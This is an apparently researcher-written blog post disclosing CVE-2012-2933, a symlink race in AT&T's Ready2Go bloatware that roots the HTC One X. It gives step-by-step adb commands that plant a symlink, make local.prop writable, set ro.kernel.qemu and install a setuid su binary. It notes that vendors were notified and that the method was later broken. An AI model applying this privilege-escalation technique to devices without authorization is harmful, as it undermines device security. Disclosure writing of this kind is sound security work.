While giving the AT&T HTC One X's firmware a look over, I ran across a a vulnerability that would allow us to gain root access. It turned out not to be all that useful at the time, as another root was released the same day. With the latest 1.85 firmware leak, the previously published root has been fixed, making the one I found earlier useful once again.

Update: AT&T disabled the app installation features of Ready2Go thereby breaking this root process. We don't have an updated root method at this time.

This vulnerability happens to be in carrier bloat - specifically an app called ATT Ready2Go (also know as dashconfig), which is shipping on many new AT&T LTE devices. ATT Ready2Go is the essence of bloatware, and really provides little-to-no additional benefits that aren't already available in Android. It allows the user to do common  things, like configuring a Wi-Fi network, importing contacts, changing wallpaper, and my favorite, installing apps. This bloatware also happens to be running with elevated privileges (as the system user) allowing it to perform functions that normal apps can't. And when it comes to elevated privileges, the more applications running as system, the more potential for dangerous vulnerabilities. To make matters worse, carrier bloat also seems to be receive less scrutiny before being released, so less bugs are caught.

With the backstory out of the way, let's take a look at the app-installing feature. On the initial run, it creates the directory "/data/install" and runs "chmod 777 /data/install" (first mistake), which makes it world-writable to any user. As if that isn't bad enough, world-writable directories are specifically against Google's policies for Android.

When installing an application, ATT Ready2Go downloads the apk to "/data/install", and runs "chmod 666 /data/install/<apkfilename>" once the download is complete. Past that, it proceeds to use package manager to install the application. After installation, the downloaded apk is deleted.

So where is the problem in this? Since ATT Ready2Go runs as system, it can write to "/data." Because of this, we can symlink the expected name of the downloaded file to /data/local.prop and interrupt the install process, leaving a world-writable local.prop. However, this process is time critical, as you have to interrupt the installation after the download is complete.


  • ADB and Fastboot set up on you computer
  • su 

First, ensure the "/data/install" directory exists, by using AT&t Ready2Go to download and install any app, then uninstall the app.

Next, pick an app that we know the file name of - in this case I'm using AT&T Mark the Spot - and setup a symlink from that app's file name to local.prop

adb shell ln -s /data/local.prop /data/install/com.att.android.markthespot.apk

Now comes the critical part - you have to use ATT Ready2Go to Download AT&T Mark the Spot, and interrupt the install process right after the download has finished. The easiest way to accomplish this is to reboot the device just as the download completes.

adb reboot

Once rebooted, we'll try to set the property, thus allowing us to get root. If you get permission denied, then the timing was off (or if you are reading this in the future, it may have been patched) and you'll need to start over.

adb shell "echo 'ro.kernel.qemu=1' > /data/local.prop"

adb reboot

If all goes well, adb will run as root after the second reboot. Now it's time to install su.

adb remount

adb push su /system/xbin/su

adb shell chown 0.0 /system/xbin/su

adb shell chmod 06755 /system/xbin/su

adb shell rm /data/install/*

adb shell rm /data/local.prop

adb reboot

Once rebooted, install the Superuser app from the market. If you want to unlock your boot loader after rooting, follow this thread.

If you hit any snags, or would just like to say thank you, hit up this thread on RootzWiki.

Special thanks to xfinrodx, designgears, and nugzo for testing.

Note: All involved vendors were notified of the bug prior to publishing, and a commit to the Android compatibility test suite was merged into AOSP

The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2012-2933 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems.